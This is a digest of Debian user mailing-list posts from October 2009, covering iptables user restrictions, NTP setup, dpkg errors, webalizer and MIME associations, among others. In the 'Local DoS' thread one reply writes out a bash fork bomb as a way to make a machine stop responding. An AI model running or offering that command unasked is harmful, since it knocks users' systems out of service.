Re: Restricting Internet Access

2009-10-27 Thread Celejar
On Tue, 27 Oct 2009 16:09:11 -0500
"Boyd Stephen Smith Jr."  wrote:

...

> I can't help you with guarddog.  I write my iptables rules by hand so
> they remain understandable.  I can't stand the trash that most
> iptables rules generators produce.  (Shorewall, I'm looking at you.)

Can you elaborate?  I've never looked at the actual iptable rules
generated by Shorewall, but why bother?  The configuration files are
perfectly clear and rational, and I understand exactly what I have
there.

Celejar
-- 
mailmin.sourceforge.net - remote access via secure (OpenPGP) email
ssuds.sourceforge.net - A Simple Sudoku Solver and Generator


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Local DoS in kernel 2.6.26

2009-10-27 Thread Stan Hoeppner
Will Murnane put forth on 10/27/2009 5:23 PM:

> This is also the wrong list; it's for users and developers of the
> Debian Live scripts.  Please re-post on the proper list.
> 
> Will

It may not be the most appropriate list for his question, but it's not
nearly as narrow as you define it.  This list is much bigger than "users
and developers of the Debian Live scripts":

From:  http://lists.debian.org/debian-user/

Help and discussion among users of Debian
Support for Debian users who speak English. (High-volume mailing list.)


The above description makes it pretty clear this list is for _ALL_
Debian users.  Believe me, if there was a "non-gui headless server
Debian admins list" I'd be all over it.  No such beast exists, however,
so here I am. ;)

--
Stan


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Restricting Internet Access (repost)

2009-10-27 Thread Celejar
On Tue, 27 Oct 2009 15:29:18 +0200
David Baron  wrote:

> As undemocratic at it seems, sometimes it is necessary from some
> logins not to be able to access internet browsing and such.
> 
> How might one set this up?

I responded to you at the time:

http://lists.debian.org/debian-user/2009/10/msg01151.html

You seem to have ignored my mail.

Celejar
-- 
mailmin.sourceforge.net - remote access via secure (OpenPGP) email
ssuds.sourceforge.net - A Simple Sudoku Solver and Generator


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: NTP Server

2009-10-27 Thread Stan Hoeppner
Dennis Wicks put forth on 10/27/2009 10:02 AM:
> Roman Gelfand wrote the following on 10/27/2009 09:44 AM:
>> I am running ntp server.  I suppose I need to tell ntp server the
>> authoritative time server to synchronize with.  How would I do that?
>>
>> Thanks again
>>
> 
> The info is in /etc/ntp.conf as well as some sample entries.
> 
> Go to http://www.pool.ntp.org/en/use.html for instructions
> on how to use a worldwide pool of stratum-2 timeservers to
> keep your system in sync with ROW.

The Lenny package sets this up automagically during aptitude
installation, including setting the list of stratum 2 servers:

/etc/ntp.conf

..
# pool.ntp.org maps to about 1000 low-stratum NTP servers.  Your server will
# pick a different set every time it starts up.  Please consider joining the
# pool: 
server 0.debian.pool.ntp.org iburst dynamic
server 1.debian.pool.ntp.org iburst dynamic
server 2.debian.pool.ntp.org iburst dynamic
server 3.debian.pool.ntp.org iburst dynamic
..

First, something to consider, is that if ntpd is actually running,
ntpdate won't execute but will return an error, such as:

27 Oct 23:27:05 ntpdate[3775]: the NTP socket is in use, exiting

If you don't get the above error when running ntpdate, then your ntp
daemon is _NOT_ actually running.  This is likely why your clock is
drifting, because ntpd isn't running.  Make sense?  Check with top or ps
and make sure ntpd is actually running, and check your syslog et al for
errors, in case ntpd is running but not keeping time correctly.

Again, aptitude install ntp is fully automatic and shouldn't require any
manual configuration.  You may want to remove the package and reinstall it.

--
Stan


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: What is the recommendation for a note software with tag support.

2009-10-27 Thread Dave Thayer
On Tue, Oct 27, 2009 at 01:17:14PM +0800, Magicloud Magiclouds wrote:
> Hi,
>   In my opinion, it should be something like this.
>   1. Taking note in a very simple way.
>   2. The notes could take some tags.
>   3. I could browse all my notes, by date, by tag, etc.
>   Thanks.

If you don't mind working inside a web browser, a TiddlyWiki can do
all of this and a lot more. 

HTH

dt

-- 
Dave Thayer   | Whenever you read a good book, it's like the 
Denver, Colorado USA  | author is right there, in the room talking to 
d...@thayer-boyle.com | you, which is why I don't like to read 
  | good books. - Jack Handey "Deep Thoughts"


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Wondering about doing something strange with networking

2009-10-27 Thread Nick Lidakis
On Tue, Oct 27, 2009 at 09:51:45PM -0500, green wrote:
> 
> Okay, just wanted to be sure that Debian was "supported", as in Voyage is not 
> a 
> significant change from Debian.

Voyage gives you a nifty script to install it on compact flash, with
appropriate targets for specific hardware, e.g., alix, standard pc, soekris.
The alix target has all the appropriate hardware support, i.e., geode cpu,
support to control the LED's, etc.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Restricting Internet Access

2009-10-27 Thread Todd A. Jacobs
On Tue, Oct 27, 2009 at 09:52:42PM +0200, David Baron wrote:

> Iptables is "configured" at boot time, but this is not where it gets

I don't think iptables is really your answer, by itself. What you're
really trying to do most likely requires you to set up an authenticating
proxy server on a separate bastion host. Still, if you want to do your
blocking on a single host, a little Googling around might yield some
useful results. For example, two seconds of searching found:


http://www.cyberciti.biz/tips/block-outgoing-network-access-for-a-single-user-from-my-server-using-iptables.html

I haven't explored the matter much further, but if the post is right, it
certainly looks like your best bet would be to whitelist only the users
you want to have TCP/IP access, and add a general DROP rule for everyone
else.

-- 
"Oh, look: rocks!"
-- Doctor Who, "Destiny of the Daleks"


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: HP G60-249WM Notebook overheats (on lenny)

2009-10-27 Thread Brian C. Wells
On Tue, 2009-10-27 at 07:49 +, marc wrote:
> Brian C. Wells wrote:
> 
> > Hi.  My HP G60-249WM Notebook's CPU is overheating, to the point that it
> > shuts itself off, whenever I use any CPU-intensive game such as glchess
> > (in the gnome-games package) or the non-free game sauerbraten.  I also
> > use the non-free nvidia-glx for accelerated graphics, and have the
> > laptop software packages installed, in case that matters.
> >
[...]
> Does the device have an Nvidia video card?
> 

Yes, it has an NVIDIA GeForce 8200M. 

> -- 
> Best,
> Marc
> 
> "Change requires small steps."
> 
> 
> 
> 
> 



-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Wondering about doing something strange with networking

2009-10-27 Thread green
Nick Lidakis wrote at 2009-10-27 21:32 -0500:
> On Tue, Oct 27, 2009 at 06:32:22PM -0500, green wrote:
> > Nick Lidakis wrote at 2009-10-27 16:41 -0500:
> > > You could could Voyage Linux directly from a compact flash. Link:
> > > http://linux.voyage.hk/ It's basically Debian for x86 embedded devices. It
> > > keeps apt and runs the entire OS is RAM.
> > 
> > It would be possible to run Debian, though?
> 
> Yeah, sure. But Voyage is basically Debian designed to run in RAM, this way
> you don't keep writing to the compact flash card. You can apt-get
> anything. 

Okay, just wanted to be sure that Debian was "supported", as in Voyage is not a 
significant change from Debian.


signature.asc
Description: Digital signature


Re: HP G60-249WM Notebook overheats (on lenny)

2009-10-27 Thread Brian C. Wells
On Sun, 2009-10-25 at 00:34 +0200, Klistvud wrote:
> Well, the script is quite simple, it only works in Gnome (a 
> more system-wide script would have to be run as superuser and I just 
> couldn't be bothered to type in my root password every time I wanted to 
> change CPU governor):
> 
> 

Re: how to tell webalizer where webalizer.conf is?

2009-10-27 Thread Todd A. Jacobs
On Fri, Oct 16, 2009 at 09:26:20AM -0400, Robert P. J. Day wrote:

>   is that a reasonable thing to do?  because it would certainly break
>   the webalizer cron script, which looks in the /etc location by
>   default.  is there a webalizer-approved way to have it start off
>   with a different location for its .conf file with manually hacking
>   the script itself?  i'd like to avoid that if i could.

It certainly breaks the FHS, as well as being a potential security
issue under some circumstances . But webalizer certainly supports
running from pretty much any random conf file with the -c flag.

In addition, the webalizer cron script supports running *multiple*
instances of webalizer by processing each of the *.conf files in
WEBALIZER_CONFDIR (by default, /etc/webalizer). You could try moving the
weirdly-placed webalizer.conf file there as, for example,
"the_other_admin_was_a_goober.conf" and let the nightly cron job run it.

-- 
"Oh, look: rocks!"
-- Doctor Who, "Destiny of the Daleks"


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: gtk2 environment, what controls it?

2009-10-27 Thread green
vr wrote at 2009-10-27 16:37 -0500:
> On Sun, 25 Oct 2009 21:24:14 -0600, green wrote:
> > vr wrote at 2009-10-22 23:23 -0600:
> >> Before the upgrade I was able to associate file types, jpg, , etc., with
> >> default applications like qiv and then double click on a JPG to view the
> >> file. Same with pdf, mpg, etc. Now when I double-click I get the X wrist
> >> watch for a moment and then nothing. 
> > 
> > Not GTK I think, but MIME.  Notice that pcmanfm depends on the
> > shared-mime-info 
> > package.
> > 
> > You can find a particular file's MIME type with the file command and -i
> > option.
> > 
> > You might try the mimeopen and mimeview commands (from
> > libfile-mimeinfo-perl 
> > and mailutils, respectively) and their man pages.
> > 
> > Perhaps someone else will help you past here; I know little about MIME.

> In pcmanfm the "type" is listed as "executable" when the file is chmod
> 700. When the file is double clicked the wait-watch is displayed briefly
> and nothing happens. If the file is chmod 600, pcmanfm brings up the
> "Choose an Application" dialog. Does anyone know how this list is
> populated? 

You probably want to drop the executable flag, except on directories.
$ chmod -x $FILE

> In pcmanfm there's also the option to right click on a file and "open
> with..." and when I check the box to always open, for example MP3, with
> Audacious2, it does not retain the association. Doing this a couple times
> shows Audacious2 in the menu more than once. I cannot find where these
> lists are stored and have grepped recursively through $HOME (grep -r -i
> audacious *) with no results.

Did you try mimeopen?  It seems to coincide with what pcmanfm does.  The -d 
option lets you select a default; that should change the default for pcmanfm 
also.


signature.asc
Description: Digital signature


Re: Wondering about doing something strange with networking

2009-10-27 Thread Nick Lidakis
On Tue, Oct 27, 2009 at 06:32:22PM -0500, green wrote:
> Nick Lidakis wrote at 2009-10-27 16:41 -0500:
> > You could could Voyage Linux directly from a compact flash. Link:
> > http://linux.voyage.hk/ It's basically Debian for x86 embedded devices. It
> > keeps apt and runs the entire OS is RAM.
> 
> It would be possible to run Debian, though?

Yeah, sure. But Voyage is basically Debian designed to run in RAM, this way
you don't keep writing to the compact flash card. You can apt-get
anything. 

I guess you could also boot regular Debian off of a USB disk. The
bigger boards also have a 44 pin IDE connector. Maybe use a 
2.5" laptop drive??


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



dpkg fails - exact errors

2009-10-27 Thread Daniel Dalton
Hi,

I've tried to remove adobe-flashplugin, with the force option, but that didn't 
work, now if I take dpkg's advice and reinstall I also get errors.

Here is the errors I get with the removal:

dpkg: warning: overriding problem because --force enabled:
 Package is in a very bad inconsistent state - you should
 reinstall it before attempting a removal.
(Reading database ... 268294 files and directories currently installed.)
Removing adobe-flashplugin ...
update-alternatives: error: no alternatives for iceape-flashplugin.
update-alternatives: error: no alternatives for iceape-flashplugin.
dpkg: error processing adobe-flashplugin (--remove):
 subprocess installed pre-removal script returned error exit status 2
postinst called with argument `abort-remove'
dpkg: error while cleaning up:
 subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
 adobe-flashplugin

Now here is what I get with the install of adobe-flashplugin using dpkg -i 


Selecting previously deselected package adobe-flashplugin.
(Reading database ... 268295 files and directories currently installed.)
Preparing to replace adobe-flashplugin 10.0.32.18-1 (using 
install_flash_player_10_linux.deb) ...
update-alternatives: error: no alternatives for iceape-flashplugin.
update-alternatives: error: no alternatives for iceape-flashplugin.
dpkg: warning: old pre-removal script returned error exit status 2
dpkg - trying script from the new package instead ...
update-alternatives: error: no alternatives for iceape-flashplugin.
update-alternatives: error: no alternatives for iceape-flashplugin.
dpkg: error processing install_flash_player_10_linux.deb (--install):
 subprocess new pre-removal script returned error exit status 2
postinst called with argument `abort-upgrade'
dpkg: error while cleaning up:
 subprocess installed post-installation script returned error exit status 1
Errors were encountered while processing:
 install_flash_player_10_linux.deb

So if anyone could tell me how to totally remove this package, so I don't get
anymore errors, and so I can continue using apt to install other packages, and 
updates, I would greatly appreciate it.

Thanks,
Dan.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: xorg + nvidia cursor color?

2009-10-27 Thread Matthew Moore
On Tuesday 27 October 2009 4:13:10 pm Todd A. Jacobs wrote:
> Is there a setting in xorg.conf or elsewhere that will give me the
> standard white cursor?

You can change the cursor theme with

update-alternatives --config x-cursor-theme

I am not sure that this is what you are looking for, but I hope that it helps.

MM


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



[OT] Facebook-like blogging software

2009-10-27 Thread Ken Teague

Can anyone recommend blogging software, preferrably pre-packaged and in the 
stable tree, that functions like Facebook?

One of my clients is looking for such a gem to throw around ideas at each 
other, store away some of their own ideas, share some files, have a private and 
public area, and be easy to use.  I offered a wiki solution, but I was given 
the hint that they're looking for something even easier to use.

-- 
Ken Teague 


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: gtk2 environment, what controls it?

2009-10-27 Thread Chris Burkhardt
vr wrote:
> 
> Any other suggestions are greatly appreciated!

Does Thunar work correctly on your system? If so, I'd file a bug against pcmanfm
and see if you and the package maintainer can figure it out together.

- Chris


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Wondering about doing something strange with networking

2009-10-27 Thread green
Nick Lidakis wrote at 2009-10-27 16:41 -0500:
> You could consider a similarly priced hardware alternative. You ever 
> hear of the PC Engines Alix boards? Link: http://www.pcengines.ch/alix.htm

Interesting, thanks for the tip.

> You could could Voyage Linux directly from a compact flash. Link:
> http://linux.voyage.hk/ It's basically Debian for x86 embedded devices. It
> keeps apt and runs the entire OS is RAM.

It would be possible to run Debian, though?


signature.asc
Description: Digital signature


Re: build bridge with DHCP

2009-10-27 Thread green
Boyd Stephen Smith Jr. wrote at 2009-10-27 13:50 -0500:
> On Tuesday 27 October 2009 13:32:41 green wrote:
> > Boyd Stephen Smith Jr. wrote at 2009-10-27 11:46 -0500:
> > > Bridging (i.e. brctl and friends) can only be used to connect two
> > > networks that use the same layer 2 protocol.  Ethernet and 802.11a/b/g do
> > > not use the same layer 2 protocol.  I believe at the very least you'll
> > > need to use an "ARP Proxy", and you may be better off just routing
> > > traffic.
> >
> > So, is it possible in any way (preferably simple) for systemB to send a
> > dhcp request and get a response from the AP?  I have dnsmasq running on
> > systemA, so I can set it up to do something.  Do I need a "dhcp forwarder"
> > of some sort?
> 
> I don't know if dnsmasq can, but there is support for dhcp forwarding in the 
> dhcp specification, and dhcpd can be configured as a forwarder.  FWIW, I 
> would 
> think dnsmasq could be set up as a forwarder as well.

Well, I don't see mention of it in dnsmasq(8), and not much via Google either, 
so perhaps not.  I suppose I will have to consider some of the other options, 
like dhcp-helper.


signature.asc
Description: Digital signature


Re: google chrome extensions

2009-10-27 Thread S. Fishpaste
On Tue, 27 Oct 2009 21:08:55 +0200, David Baron in gmane.linux.debian.user 
wrote:

[ ...]

> Where does one install these extensions?
>
> Popups block messages do appear, but about://extensions simply talks about 
> chrome, chromium, firefox, safari, etc.

A little too hasty in my previous response to you. I think you're talking
about how to install them rather then where to get them? The newer developer
releases use *.crx files. Chrome should recognize them as such and offer to
install them for you. Is that not working for you?


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: google chrome extensions

2009-10-27 Thread S. Fishpaste
On Tue, 27 Oct 2009 21:08:55 +0200, David Baron in gmane.linux.debian.user 
wrote:
> On Tuesday 27 October 2009 20:23:54 debian-user-digest-
> requ...@lists.debian.org wrote:
>> > Hey,
>> >
>> > Has anyone managed to get the extensions going for the latest chromium 
>> > build ( 4.0.223.11)?
>> > They seem to install fine  but they do not work, and also, are not 
>> > getting listed when "about://extensions/".
>> > I'm running Debian Unstable/KDE 4.3
>> 
>> I'm running the same version; What extensions are you having the problem
>> with? I have XMarks, ADBLOCK+, FlashBlock and GMail default client working
>>  OK.
>> 
>> Some extensions haven't been updated; Maybe that's the problem?
>> 
>
> Where does one install these extensions?
>
> Popups block messages do appear, but about://extensions simply talks about 
> chrome, chromium, firefox, safari, etc.

Yeah they're not publicized much because they're still a work in progress.
There are several un-official sources but I only feel comfortable with the
ones on Google's servers;

And for official Themes;



-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Local DoS in kernel 2.6.26

2009-10-27 Thread Will Murnane
On Tue, Oct 27, 2009 at 08:27, surreal  wrote:
> I just caught hold of a C source code from 2005. This code is a local DoS
> which fills up the entire memory on Linux 2.6.N kernels.
After about 15 minutes:
  PID USER  PR  NI  VIRT  RES  SHR S %CPU %MEMTIME+  COMMAND
16799 will  20   0  4804 1504  388 R   60  0.0  14:07.94 mseak

> I saw that RAM wasent running out, but the CPU usage was 100%. I didnt wait
> for computer to hang, but I think this code is dangerous and can be used for
> malicious intentions.
I don't think so.  Using 100% CPU when the application demands it
isn't a bug, it's a feature.

This is also the wrong list; it's for users and developers of the
Debian Live scripts.  Please re-post on the proper list.

Will


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: xorg + nvidia cursor color?

2009-10-27 Thread Thierry Chatelet
On Tuesday 27 October 2009 23:13:10 Todd A. Jacobs wrote:
> I am currently having a problem with my X server displaying the cursor
> as shaded black, which is rather hard to see. This happens as soon as
> the gdm chooser is up, so I don't think it's a KDE4 issue.
> 
> Is there a setting in xorg.conf or elsewhere that will give me the
> standard white cursor?
> 
Wanted to say same with kdm!!!
Thierry


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: xorg + nvidia cursor color?

2009-10-27 Thread Thierry Chatelet
On Tuesday 27 October 2009 23:13:10 Todd A. Jacobs wrote:
> I am currently having a problem with my X server displaying the cursor
> as shaded black, which is rather hard to see. This happens as soon as
> the gdm chooser is up, so I don't think it's a KDE4 issue.
> 
> Is there a setting in xorg.conf or elsewhere that will give me the
> standard white cursor?
> 
Same with kde
Thierry


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



xorg + nvidia cursor color?

2009-10-27 Thread Todd A. Jacobs
I am currently having a problem with my X server displaying the cursor
as shaded black, which is rather hard to see. This happens as soon as
the gdm chooser is up, so I don't think it's a KDE4 issue.

Is there a setting in xorg.conf or elsewhere that will give me the
standard white cursor? 

-- 
"Oh, look: rocks!"
-- Doctor Who, "Destiny of the Daleks"


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Local DoS in kernel 2.6.26

2009-10-27 Thread David Cottrill NCH Software
It may chew up an old computer but a new one won't really do more than 
sniffle.


It goes on an endless loop sending short messages to itself which aren't 
very long. If you wanted to kill a modern computer with that script 
you'd have to set ma=some large number.


It can't kill off a modern multiprocessor CPUs because it is a single 
process, you'd need a forkbomb to do that.
It can't fill RAM because modern computers use more than that program 
was made to absorb.


To kill off a computer quickly:
step one: ":(){ :|:& };:"
step two: reboot because your machine has stopped responding

David.



surreal wrote:

I just caught hold of a C source code from 2005. This code is a local DoS
which fills up the entire memory on Linux 2.6.N kernels.

At that time, I used Fedora Core 4 and a pentium 4 machine with 512 MB ram.
After compiling and running this program on the old machine, it used to hang
within 40 seconds.

I compiled and ran this program on a test machine having Dual Core CPU, 2 GB
ram and Debian Lenny to see if this code holds good today.

I saw that RAM wasent running out, but the CPU usage was 100%. I didnt wait
for computer to hang, but I think this code is dangerous and can be used for
malicious intentions.

I am sending the code so that we can prevent bad use of it. It still has
potential of a local DoS. I hope kernel hackers might get interested in
this.

This code isent tested on AMD 64 bit kernel, but on a 2.6.26 stable kernel.

The C code is attached with this mail.

800df127fbcb5552a455b6742b62bfe0  mseak.c

Just gcc mseak.c -o mseak; mseak & to see the effects.


  



__ Information from ESET NOD32 Antivirus, version of virus signature 
database 4549 (20091027) __

The message was checked by ESET NOD32 Antivirus.

http://www.eset.com



--
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org




Re: Wondering about doing something strange with networking

2009-10-27 Thread Nick Lidakis
On Tue, Oct 27, 2009 at 08:52:36PM +, Alan Chandler wrote:
> On Tuesday 27 Oct 2009, Nick Lidakis wrote:
> > Are you referring to the Sheeva plug computer?
> > 
> Yes

You could consider a similarly priced hardware alternative. You ever 
hear of the PC Engines Alix boards? Link: http://www.pcengines.ch/alix.htm

They come in a variety of configurations. Generally, you get x86 Geode CPU,
1 to 3 ethernet ports, more than 1 USb port, mini-PCI slots, 256MB RAM, a DC
jack that supports anywhere from 7v to 20v DC, serial ports, and the ability
to run Coreboot (formerly LinuxBIOS). 

You could could Voyage Linux directly from a compact flash. Link:
http://linux.voyage.hk/ It's basically Debian for x86 embedded devices. It
keeps apt and runs the entire OS is RAM.

The Alix 3d2 board is available for about $100 USD. 


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: gtk2 environment, what controls it?

2009-10-27 Thread vr

On Sun, 25 Oct 2009 21:24:14 -0600, green 
wrote:
> vr wrote at 2009-10-22 23:23 -0600:
>> Before the upgrade I was able to associate file types, jpg, , etc.,
with
>> default applications like qiv and then double click on a JPG to view
the
>> file. Same with pdf, mpg, etc. Now when I double-click I get the X
wrist
>> watch for a moment and then nothing. 
> 
> Not GTK I think, but MIME.  Notice that pcmanfm depends on the
> shared-mime-info 
> package.
> 
> You can find a particular file's MIME type with the file command and -i
> option.
> 
> You might try the mimeopen and mimeview commands (from
> libfile-mimeinfo-perl 
> and mailutils, respectively) and their man pages.
> 
> Perhaps someone else will help you past here; I know little about MIME.

Tanks for the ideas, I'm still stuck

I've reinstalled everything with mime* or gtk* in the package name
(aptitude reinstall ) and am still having trouble "launching"
file
types. I also logged on as user root to see if it was my profile but root
has the same symptoms. So I created a new user and verified it with them
too.

In pcmanfm the "type" is listed as "executable" when the file is chmod
700. When the file is double clicked the wait-watch is displayed briefly
and nothing happens. If the file is chmod 600, pcmanfm brings up the
"Choose an Application" dialog. Does anyone know how this list is
populated? 

In pcmanfm there's also the option to right click on a file and "open
with..." and when I check the box to always open, for example MP3, with
Audacious2, it does not retain the association. Doing this a couple times
shows Audacious2 in the menu more than once. I cannot find where these
lists are stored and have grepped recursively through $HOME (grep -r -i
audacious *) with no results.

Any other suggestions are greatly appreciated!


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Restricting Internet Access

2009-10-27 Thread Boyd Stephen Smith Jr.
On Tuesday 27 October 2009 14:52:42 David Baron wrote:
> On Sunday 18 October 2009 18:41:09 David Baron wrote:
> > As undemocratic at it seems, sometimes it is necessary from some logins
> > not to be able to access internet browsing and such.
> >
> > How might one set this up?
>
> The suggestion was made to use iptables, gui-owner --> drop.
>
> Iptables is "configured" at boot time, but this is not where it gets set
> up. I use the kde3 program guarddog. Its rule set gets set into iptables on
> ifup. I would need to add a rule there as well.
>
> Listing the rules yields a long, marginally comprehensible mess,
>
> Question would be: What rule to add? How it relates to all the others. I do
> not really understand much of iptables.

These may help:
http://xkr47.outerspace.dyndns.org/netfilter/packet_flow/
http://xkr47.outerspace.dyndns.org/netfilter/packet_flow/packet_flow9.png
http://ebtables.sourceforge.net/br_fw_ia/PacketFlow.png

You might also want to hit up TLDP.org and you local manpages.  Iptables is 
somewhat complex, but it is probably also one of the best documented sections 
of Linux administration.

I can't help you with guarddog.  I write my iptables rules by hand so they 
remain understandable.  I can't stand the trash that most iptables rules 
generators produce.  (Shorewall, I'm looking at you.)
-- 
Boyd Stephen Smith Jr.   ,= ,-_-. =.
b...@iguanasuicide.net  ((_/)o o(\_))
ICQ: 514984 YM/AIM: DaTwinkDaddy `-'(. .)`-'
http://iguanasuicide.net/\_/



signature.asc
Description: This is a digitally signed message part.


Re: Wondering about doing something strange with networking

2009-10-27 Thread Alan Chandler
On Tuesday 27 Oct 2009, Alex Samad wrote:
 
> you are leaving yourself open for all sorts of problems, there is
> nothing between your other computers and the internet.
> 
> get the usb network dongle

You are probably right - I am complicating things for no good reason.

Just as an aside, there seems to be a varierty of usb to ethernet 
connectors, at a variety of different prices.  Some seem to be so cheep 
that they can be little more than a usb connector and rj45 connector.  
Do they all work with standard debian?

-- 
Alan Chandler
http://www.chandlerfamily.org.uk


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Wondering about doing something strange with networking

2009-10-27 Thread Alan Chandler
On Tuesday 27 Oct 2009, Nick Lidakis wrote:
> On Tue, Oct 27, 2009 at 07:58:18AM +, Alan Chandler wrote:
> > I am contemplating the possibilities with the plug computer, as an
> > always on, router/firewall/web server for my house.
> 
> Are you referring to the Sheeva plug computer?
> 
Yes

-- 
Alan Chandler
http://www.chandlerfamily.org.uk


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: Wondering about doing something strange with networking

2009-10-27 Thread Alex Samad
On Tue, Oct 27, 2009 at 04:04:06PM +, Alan Chandler wrote:
> On Tuesday 27 Oct 2009, Dan Ritter wrote:
> > On Tue, Oct 27, 2009 at 07:58:18AM +, Alan Chandler wrote:
> ...
> > >
> > > What I am less certain about is how I can cater for Wireless
> > > clients coming in over the WAP, who do really need dhcp allocated
> > > addresses.  My guess is that they would be requesting leases via
> > > some broadcasting mechanism, and that there is no way for the
> > > ethernet switch to prevent them going to the cable modem (and
> > > thence to my isp) and the dhcp server at my isp responding.
> > >
> > Alternatively, hardcode IPs for everything on that switch. You
> > can either hardcode IPs for your wireless devices, or run DHCP
> > on a separate subnet  there.
> 
> I think that is the answer, limit the switch to have the cable modem, 
> plug computer and existing cable router on it.  the "lan" side of that 
> cable router will be where I connect everything else and can use dhcp 
> with confidence there.
you are leaving yourself open for all sorts of problems, there is
nothing between your other computers and the internet.

get the usb network dongle

> 
> I presume nfs (which I have not used before) will still work connecting 
> the plug computer as an nfs client throught the router (which is a NAT 
> device) to one of the backend servers running a large disk and the nfs 
> server end if I port forward correctly. [one particular usage of my 
> external web site is to provide access to some large files - I am happy 
> for this to fail if I turn off my in home computing environment leaving 
> only the plug computer running.
> 
> 
> 

-- 
"Free societies are hopeful societies. And free societies will be allies 
against these hateful few who have no conscience, who kill at the whim of a 
hat."

- George W. Bush
09/17/2004
Washington, DC


signature.asc
Description: Digital signature


Re: Restricting Internet Access

2009-10-27 Thread David Baron
On Sunday 18 October 2009 18:41:09 David Baron wrote:
> As undemocratic at it seems, sometimes it is necessary from some logins not
>  to be able to access internet browsing and such.
> 
> How might one set this up?
> 
The suggestion was made to use iptables, gui-owner --> drop.

Iptables is "configured" at boot time, but this is not where it gets set up.
I use the kde3 program guarddog. Its rule set gets set into iptables on ifup. 
I would need to add a rule there as well.

Listing the rules yields a long, marginally comprehensible mess,

Question would be: What rule to add? How it relates to all the others. I do 
not really understand much of iptables.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



Re: google chrome extensions

2009-10-27 Thread David Baron
On Tuesday 27 October 2009 20:23:54 debian-user-digest-
requ...@lists.debian.org wrote:
> > Hey,
> >
> > Has anyone managed to get the extensions going for the latest chromium 
> > build ( 4.0.223.11)?
> > They seem to install fine  but they do not work, and also, are not 
> > getting listed when "about://extensions/".
> > I'm running Debian Unstable/KDE 4.3
> 
> I'm running the same version; What extensions are you having the problem
> with? I have XMarks, ADBLOCK+, FlashBlock and GMail default client working
>  OK.
> 
> Some extensions haven't been updated; Maybe that's the problem?
> 

Where does one install these extensions?

Popups block messages do appear, but about://extensions simply talks about 
chrome, chromium, firefox, safari, etc.


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org



RE: Awstats Cron job not executing [SOLVED]

2009-10-27 Thread Kushal Koolwal

 <87a8dc10910270120y754f590es1019c2bbb76e8...@mail.gmail.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0


You are right only the apache2 directly needs "execute" permission and not =
the files inside it.

#chmod 755 /var/log/apache2

works just fine.


Kushal Koolwal

I do blog at http://blogs.koolwal.net/








 =20
_
Windows 7: It helps you do more. Explore Windows 7.
http://www.microsoft.com/Windows/windows-7/default.aspx?ocid=3DPID24727::T:=
WLMTAGL:ON:WL:en-US:WWL_WIN_evergreen3:102009=


-- 
To UNSUBSCRIBE, email to debian-user-requ...@lists.debian.org 
